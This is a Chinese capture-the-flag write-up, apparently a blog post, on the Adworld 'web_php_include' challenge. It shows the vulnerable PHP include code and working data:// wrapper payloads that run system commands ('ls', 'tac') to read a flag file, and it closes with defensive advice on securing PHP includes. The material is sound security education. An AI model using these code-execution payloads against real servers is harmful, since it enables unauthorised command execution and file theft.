攻防世界web高阶(web_php_include)

本文介绍了一种利用文件包含漏洞的技术,通过构造特定payload,即使在cat、tail等命令无法直接显示文件内容的情况下,也能使用tac命令从尾到头反向输出文件,从而读取目标文件的内容。

payload:不过滤大小写,让page=php://
?page=data:text/plain,<?php system("ls") ?>
?page=data:text/plain,<?php system("tac fl4gisisish3r3.php") ?>
data伪协议

本例特殊之处在于: 知道文件, 但是 调用 cat、tail、 less、more 并不能显示文件内容,但是 有一个命令 tac:将文件全部内容从尾到头反向连续输出到标准输出(屏幕)上
通过代码知道是文件包含漏洞
https://blog.youkuaiyun.com/Vansnc/article/details/82528395(漏洞分析的网址)

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];		/$page变量等于网页获取到的page)
while (strstr($page, "php://")) {		/(判断php://是否出现在page变量中,这个函数对大小写敏感)
    $page=str_replace("php://", "", $page);		/(把$page变量中的php://替换成空格,“”就是空格)
}
include($page);
?>

payload:?page=data:text/plain,<?php system("ls");?>	看文件目录
	?page=data:text/plain,<?php system("文件名字");?>	f12源码里有flag
### 关于Web安全中PHP `include`相关的攻击与防御 #### PHP Include 攻击原理 当应用程序使用用户提供的输入直接包含文件时,可能会发生文件包含漏洞。如果未对用户提交的数据进行适当验证,则可能导致远程文件包含(RFI)或本地文件包含(LFI)[^2]。 #### 防御措施 ##### 输入验证 确保所有来自用户的输入都经过严格过滤和消毒处理。不允许任何不受信任的数据作为文件路径的一部分传递给`include`语句。可以采用白名单机制来限定允许访问的具体文件列表: ```php $allowed_files = ['file1.php', 'file2.php']; $file_to_include = $_GET['page']; if(in_array($file_to_include, $allowed_files)){ include $file_to_include; }else{ echo "Invalid file requested."; } ``` ##### 文件扩展名检查 强制规定只允许特定类型的文件被包含进来,并且最好是在服务器端设置默认的`.php`扩展名以避免绕过防护逻辑的情况出现: ```php // 只允许 .php 扩展名的文件 if(pathinfo($filename, PATHINFO_EXTENSION) !== 'php'){ die('Invalid extension'); } include "$filename.php"; ``` ##### 禁止URL传参方式调用 尽可能地避免通过HTTP请求参数指定要加载的内容;而是考虑使用固定名称或者枚举值映射到内部资源上。这样即使存在潜在风险也能有效遏制住外部干扰源的影响范围。 ##### 使用绝对路径而非相对路径 始终使用完整的、基于根目录下的绝对路径而不是当前工作目录内的相对位置去引用待引入的目标文档。这有助于减少因环境变量配置不当而引发的安全隐患。 ```php define('__ROOT__', dirname(__FILE__)); include __ROOT__."/path/to/file.php"; // 绝对路径更安全 ``` ##### 开启open_basedir限制 在PHP.ini配置文件里启用此选项可进一步约束脚本所能触及的最大边界之外的一切尝试都将失败返回错误提示信息。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值